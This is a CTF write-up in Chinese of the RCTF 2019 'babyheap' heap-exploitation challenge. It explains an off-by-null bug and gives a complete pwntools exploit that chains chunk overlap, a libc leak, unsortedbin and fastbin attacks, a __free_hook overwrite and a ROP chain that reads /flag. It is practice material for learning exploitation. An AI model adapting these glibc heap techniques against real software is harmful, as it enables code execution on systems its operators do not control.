0%

buuoj——rctf_2019_babyheap

一道比较综合的堆题,漏洞只有 off by one ,保护开满, libc 版本为2.23。

特点:

  1. 程序分析比较简单,难点在于漏洞利用。
  2. 泄漏地址的方法比较巧妙(没想到)
  3. 我还发现了多次使用 unsortedbin attack 的方法。
  4. 了解了如何伪造 chunk 并绕过 _int_free 中的一系列检查

基本情况

保护

只能打各种 hook 了。

采用排除的方式设置 seccomp,mprotect 没有被禁用,后面可能有用。

程序分析

一应俱全。

init

init 中的设置让这道堆题异于常规。

  1. 这里的 mallopt 的效果为将 global_max_fast 的值设为0x10,这意味着任何 chunk 都不会被 free 进 fastbin。
  2. 记录堆块的数组存放在 mmap 申请到的区域内,且基地址随机,那我们不能通过 unlink 进行任意地址写。

add

  1. addcalloc 申请 chunk(第一次见),实际上在 calloc 内部仍会调用 __int_malloc ,因此攻击方式不会受到影响(但对于启用了 tcache 的 libc ,calloc 不会从 tcachebin 中取 chunk)。
  2. calloc会将 chunk boby 部分内存全部清0,因此不能通过申请被 free 过的 chunk泄漏地址
  3. 申请 chunk 的大小不能超过 0x1000,则不能用 house of force 进行任意地址写。

edit

  1. 划红线处存在 off by null 漏洞,比较难发现。
  2. 不能 Patial write 了。
  3. 没有更多的堆溢出,索引边界检查正常。

delete

清理得干干净净

show

使用 pust输出。考虑到前面的 edit 中的 off by null ,泄漏地址可能有些困难了。。。

漏洞利用

我了解到 off by null 漏洞的利用方法只有两个:chunk overlap 和 chunk shrink (说实话我压根不知道 chunk shrink 有什么用)。 chunk overlap 可以获得对 overlapped chunk 的控制权,为下面的攻击(unsortedbin attack, fastbin attack)做准备。由于本题的功能函数齐全,我们对 chunk 的掌控力很强,chunk overlap 的区域可以被我们反复利用。

我知道的堆利用的任意地址写任意值的基本方法有四种:fastbin attack(不算任意地址)、house of force、unlink +后续利用、house of lore(wiki上说算,但我觉得要提前布置 victim 是不是太困难了,能的话还需要用这个方法吗?),house of einherjar。(tcache的不算)。house of force 在程序流程中就被枪毙了,unlink 需要知道堆块数组的地址(在本题中 ptr 存在栈上,也就是说要知道程序加载基址),house of lore 要泄漏堆地址以及提前布置 victim 地址,house of einherjar 需要泄漏堆地址以及提前布置fake_chunk(绕过unlink检测)。看起来只有 fastbin attack 比较容易了。

由于 global_max_fastinit 中被设为 0x10 ,我们需要利用 unsortedbin attack 将其修改。下面是攻击流程:

攻击流程:

  1. 利用 off by one 漏洞进行chunk overlap,获得对 overlapped chunk 的控制权。
  2. 分割上一步中进入 unsorted bin 的 chunk(这样堆块数组中就会有两个指向 overlapped chunk 的指针),free 掉 overlapped chunk,然后泄漏 libc 地址。
  3. 再次进行 chunk overlap,重新获得对 overlapped chunk 的控制权。
  4. 使用 unsortedbin attack 修改 global_max_fast
  5. 用奇妙的方法修复 unsortedbin 的 bk 指针(指向可控堆区域),再次进行 unsortedbin attack 从而在 __free_hook 上方布置 0x7f
  6. 利用 fastbin 链泄漏堆地址
  7. 使用 fastbin attack 分配 chunk 到第五步中布置了 size==0x7f 的位置,修改 __free_hook 为奇妙的 gadget,以便后续 rop
  8. 在堆上布置 rop 链,进行 orw。

exp及其分析

完整的exp。直接看的话可能比较难理解,接下来我会挑一些重要的步骤进行分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *

libc = ELF("./libc-2.23_64.so")
#io = process("./rctf_2019_babyheap")
io = remote("node3.buuoj.cn", 26120)

def add(size):
io.sendafter("Choice: ", '1')
io.sendafter("Size: ", str(size))

def edit(idx, content):
io.sendafter("Choice: ", '2')
io.sendafter("Index: ", str(idx))
io.sendafter("Content: ", content)

def delete(idx):
io.sendafter("Choice: ", '3')
io.sendafter("Index: ", str(idx))

def show(idx):
io.sendafter("Choice: ", '4')
io.sendafter("Index: ", str(idx))
addr = u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00'))
return addr

# chunk overlap 注意不同版本的unlink中和合并时presize的检查机理不同
add(0x18) # 0
add(0x18) # 1
delete(0)
add(0xf8) # 0
edit(1, b'A' * 0x10 + p64(0x40))
delete(0)

# split unsorted chunk to leak libc addr 没想出来。。。
add(0x18) # 0
add(0x18) # 2
add(0x18) # 3
add(0xf8) # 4
delete(2)
main_arena_addr = show(1) - 88
print("main_arena_addr = " + hex(main_arena_addr))
libc_addr = main_arena_addr - 0x3C4B20
print("libc_addr = " + hex(libc_addr))
add(0x18) # 2

# chunk overlap again
delete(0)
edit(3, b'A' * 0x10 + p64(0x60))
delete(4)

# unsortedbin attack 覆盖global_max_fast
add(0x150) # 0
add(0x60) # 4
edit(0, b'A' * 0x10 + p64(0xdeadbeef) + p64(0x21) + b'B' * 0x10 + p64(0xdeadbeef) + p64(0xf1) + b'C' * 0xe0 + p64(0xdeadbeef) + p64(0x21))
delete(2)
global_max_fast_addr = libc_addr + 0x3C67F8
edit(1, p64(0xdeadbeef) + p64(global_max_fast_addr - 0x10))
add(0x18) # 2

# 修复unsortedbin,第二次unsortedbin attack
free_hook_addr = libc_addr + libc.symbols["__free_hook"]
delete(3) # 修复
edit(0, b'A' * 0x38 + p64(0x41) + p64(0xdeadbeef) + p64(free_hook_addr - 0x18 - 0x10)) # size不能还是0xf1否则会被当作fastbin中的chunk处理
add(0x30) # 4

# 泄漏heap地址,同时fastbin attack 指向free_hook前通过第二次unsortedbin attack布置的值
edit(0, b'A' * 0x10 + p64(0xdeadbeef) + p64(0x71) + b'B' * 0x60 + p64(0xdeadbeef) + p64(0x21))
delete(4)
delete(2)
heap_base = show(1) - 0x160
print("heap_base = " + hex(heap_base))
edit(1, p64(free_hook_addr - 0x18 - 0x8 + 5))

# 修改free_hook
rsp_rsi_A0 = libc_addr + 0x47B75
add(0x60) # 2
add(0x60) # 4
edit(4, b'A' * 3 + b'B' * 8 + p64(rsp_rsi_A0))

# 构造rop链
p_rdi = libc_addr + 0x21102
p_rsi = libc_addr + 0x202e8
p_rdx = libc_addr + 0x1b92
p_rax = libc_addr + 0x33544
syscall_ret = libc_addr + 0xF725E
read_addr = libc_addr + libc.symbols["read"]
write_addr = libc_addr + libc.symbols["write"]
open_syscall_num = 2
payload = p64(heap_base + 0x10 + 0x20 + 0xa0 + 0x10) + p64(p_rsi) + p64(0) + p64(p_rax) + p64(open_syscall_num) + p64(syscall_ret)
payload += p64(p_rdi) + p64(3) + p64(p_rsi) + p64(heap_base + 0x200) + p64(p_rdx) + p64(0x30) + p64(read_addr)
payload += p64(p_rdi) + p64(1) + p64(p_rsi) + p64(heap_base + 0x200) + p64(p_rdx) + p64(0x30) + p64(write_addr)
edit(0, payload.ljust(0x20 + 0xA0, b'\x00') + p64(heap_base + 0x10) + p64(p_rdi) + b"/flag".ljust(8, b'\x00'))

delete(1) # 指针1的任务结束了。。。

io.interactive()

chunk overlap

1
2
3
4
5
6
7
# chunk overlap 注意不同版本的unlink中和合并时presize的检查机理不同
add(0x18) # 0
add(0x18) # 1
delete(0)
add(0xf8) # 0
edit(1, b'A' * 0x10 + p64(0x40))
delete(0)
  1. 由于存在 off by one 漏洞,size 为0x101的 big chunk(这样称呼它吧) 的最低字节会被置零,这样 pre_inuse 位变为0。同时还需要修改 pre_size 为 0x40,之后申请时才会到目标地址。

  2. 如果在 libc-2.31的源代码 中搜索 “corrupted size vs. prev_size” 字符串,会有三处结果:

    unlink中的检测。可以轻松绕过,因为伪造只需要 unlink 的 chunk 的 nextchunk 在可控区域内。

    向后合并时的检测。这个检测是致命的,我不知道如何绕过。所幸 libc-2.23 没有这个检测。

    malloc_consolidate 中的检测。与本题无关,但影响了 house of roman。

leak libc

1
2
3
4
5
6
7
8
9
10
11
# split unsorted chunk to leak libc addr 没想出来。。。
add(0x18) # 0
add(0x18) # 2
add(0x18) # 3 后面会用来修复 unsorted bin
add(0xf8) # 4
delete(2)
main_arena_addr = show(1) - 88
print("main_arena_addr = " + hex(main_arena_addr))
libc_addr = main_arena_addr - 0x3C4B20
print("libc_addr = " + hex(libc_addr))
add(0x18) # 2 (又与 1 指向同一块chunk)

本题中泄漏地址的限制很多:off by null、calloc 清0。只能用上面的方法。让指针 1(前一步中分配)、2 同时指向一个 chunk, free 2 后用 1 泄漏地址。我觉得乏善可陈。。。(不过一些泄漏地址困难的操作都是通过分割 unsorted chunk 完成的,有点神奇)。这里的 3 在后面会用来修复 unsorted bin。

unsortedbin attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# chunk overlap again
delete(0)
edit(3, b'A' * 0x10 + p64(0x60))
delete(4)

# unsortedbin attack覆盖global_max_fast
add(0x150) # 0
add(0x60) # 4
# 注意绕过free的一些检测
edit(0, b'A' * 0x10 + p64(0xdeadbeef) + p64(0x21) + b'B' * 0x10 + p64(0xdeadbeef) + p64(0xf1) + b'C' * 0xe0 + p64(0xdeadbeef) + p64(0x21))
delete(2)
global_max_fast_addr = libc_addr + 0x3C67F8
edit(1, p64(0xdeadbeef) + p64(global_max_fast_addr - 0x10))
add(0x18) # 2 (又与 1 指向同一块chunk)

free fake_chunk 进 unsortedbin(注意绕过 free 中的一些检测),然后修改其 bk 指针,分配时 global_max_fast 被覆盖为 main_arena + 88,非常大。0xf1 的 fake_chunk 被指针 3 指,后面修复 unsortedbin 会用到。

fix unsortedbin bk

1
2
3
4
5
# 修复unsortedbin,第二次unsortedbin attack
free_hook_addr = libc_addr + libc.symbols["__free_hook"]
delete(3) # 修复
edit(0, b'A' * 0x38 + p64(0x41) + p64(0xdeadbeef) + p64(free_hook_addr - 0x18 - 0x10)) # size不能还是0xf1否则会被当作fastbin中的chunk处理
add(0x30) # 4

上次的 unsortedbin attack 后:

再看 unsortedbin 的插入:

unsortedbin 的插入只用到了 unsortedbin 的 fd 指针,看起来没什么大问题。

接下来是 unsortedbin 的移除:

由于 bck 已经被修改到了无法控制的区域(libc中),无法再进行 unsortedbin attack。如果我们能将 unsortedbin 的 bk 修改到可控区域,便可以再次进行 unsortedbin attack(不用管 fd)。

还记得我们已经把 global_max_fast 设为一个超级大的值了吗?这不仅说明着 fastbin 被启用,也意味着更大的(大于默认的最大值0x80)chunk free 时会进入 fastbin。而 fastbin 的定义如下:

fastbin 又位于 main_arena 中。如果我们 free 的 chunk 计算出的索引超过了 NFASTBINS,我们可以溢出到 main_arenafastbinsY 后的任意地址(当然还是有 global_max_fast 的限制),覆盖其为 free 的 chunk 的地址。

前面我们的指针 3 指向的 size==0xf1 的 fake_chunk 的意义就在于此。将其 free 后:

然后我们就可以再进行一次 unsortedbin attack。

fastbin attack

1
2
3
4
5
6
7
# 泄漏heap地址,同时fastbin attack 指向free_hook前通过第二次unsortedbin attack布置的值
edit(0, b'A' * 0x10 + p64(0xdeadbeef) + p64(0x71) + b'B' * 0x60 + p64(0xdeadbeef) + p64(0x21))
delete(4)
delete(2)
heap_base = show(1) - 0x160
print("heap_base = " + hex(heap_base))
edit(1, p64(free_hook_addr - 0x18 - 0x8 + 5))

你可能想知道为什么要进行第二次 unsortedbin attack,因为在 __free_hook 的上方:

全是0,直到大约 -0x1C00 的地方才有其他的值(好像还是 main_arena 中的。。。),所以需要一次 unsortedbin attack 在 __free_hook 前放入一个 0x7f。

其他师傅用的方法跟我的好像很不一样,我应该去看一看。

overwrite __free_hook

1
2
3
4
5
# 修改free_hook
rsp_rsi_A0 = libc_addr + 0x47B75
add(0x60) # 2
add(0x60) # 4
edit(4, b'A' * 3 + b'B' * 8 + p64(rsp_rsi_A0))

在我的前一篇文章中,提到了 libc-2.31 下在堆上进行 rop 的一些 gadget。在 libc-2.23 中,这些 gadget 依然存在,而且有些更好用,比如最关键的、修改 rsp 的 gadget :

用 rdi 就能给 rsp 寄存器赋值,对比 libc-2.31 的,同样在 setcontext 函数中:

还要先给 rdx 赋值(不过有用 rdi 给 rdx 赋值的 gadget),还多了一个奇怪的跳转(不知道条件是什么)。

总结

  1. 对 libc 的 chunk 管理方式更熟悉了,了解了一些与 free 有关的检测。
  2. 构造这东西挺巧妙的,有时候改来改去最后还要重新写。
  3. 我记得有句话是:“知识面决定攻击面,知识链决定攻击深度”,这道题就是前者的体现吧。(不过我还有一做题就蒙问题,还是要把逻辑理清楚)

参考

  1. 堆中global_max_fast相关利用。看了这篇文章的前半部分我才想到了修复 unsortedbin 的可能性。
  2. RCTF2019 pwn babyheap writeup。参考了里面泄漏 libc 地址的方法,我是真想不到。。。还有另一种思路:使用 house of storm 和 setcontext (和 srop 类似)